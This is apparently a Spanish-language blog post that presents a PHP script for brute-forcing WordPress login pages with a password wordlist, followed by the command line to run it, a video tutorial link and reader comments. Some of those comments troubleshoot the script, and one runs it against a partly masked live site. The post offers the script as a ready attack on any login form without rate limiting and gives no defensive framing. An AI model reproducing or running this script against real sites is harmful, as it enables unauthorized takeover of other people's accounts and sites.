Wordpress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.
Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.
< ?php ini_set("memory_limit", "100M"); function crackSite($wordlist, $url, $user, $attemps = 0) { if($file = file($wordlist)) print "Read ".count($file)." words.n"; else { print "Can't read word list file.n"; die(); } $i = 0; rtrim($fields_string,'&'); foreach($file as $word) { if(++$i%10 == 0) print "Attempts: ".$i."/".count($file)." (".trim($word).")n"; $fields_string = "log=".$user."&pwd=".trim($word); $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string); curl_setopt($ch,CURLOPT_RETURNTRANSFER, true); $result = md5( curl_exec($ch) ); if(!$oresult) $oresult = $result; if($oresult != $result) { print "Password found: ".$word."n"; die(); } curl_close($ch); } } crackSite($argv[1], $argv[2], $argv[3]); ?>
Este script esta diseñado para correrlo desde la linea de comandos (php-cli) y su modo de uso es el siguiente:
$ php wp_cracker.php wordlist.txt https://sitio.com/wp-login.php Username
Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.
Requerimientos: Curl y PHP.
Video tutorial:
httpvh://www.youtube.com/watch?v=CMfxsGQOtd8
Descargar video:
Mirror 1: Hardmodding (2.8M)
#
function crackSite($wordlist, $url, $user, $attemps = 0)
alguna idea de porque?
En fin, sacare ese mirror
gracias!
si fuera más rapido seria ideal...
Como usuario ROOT
php wp_cracker.php wordlist.txt http://www.*******.com/wp-login.php desempleado
Could not open input file: wp_cracker.php
A los que le salgan el error con el curl_init, que lo instalen (php5-curl)
Muy buen post, no esta nada mal el script :)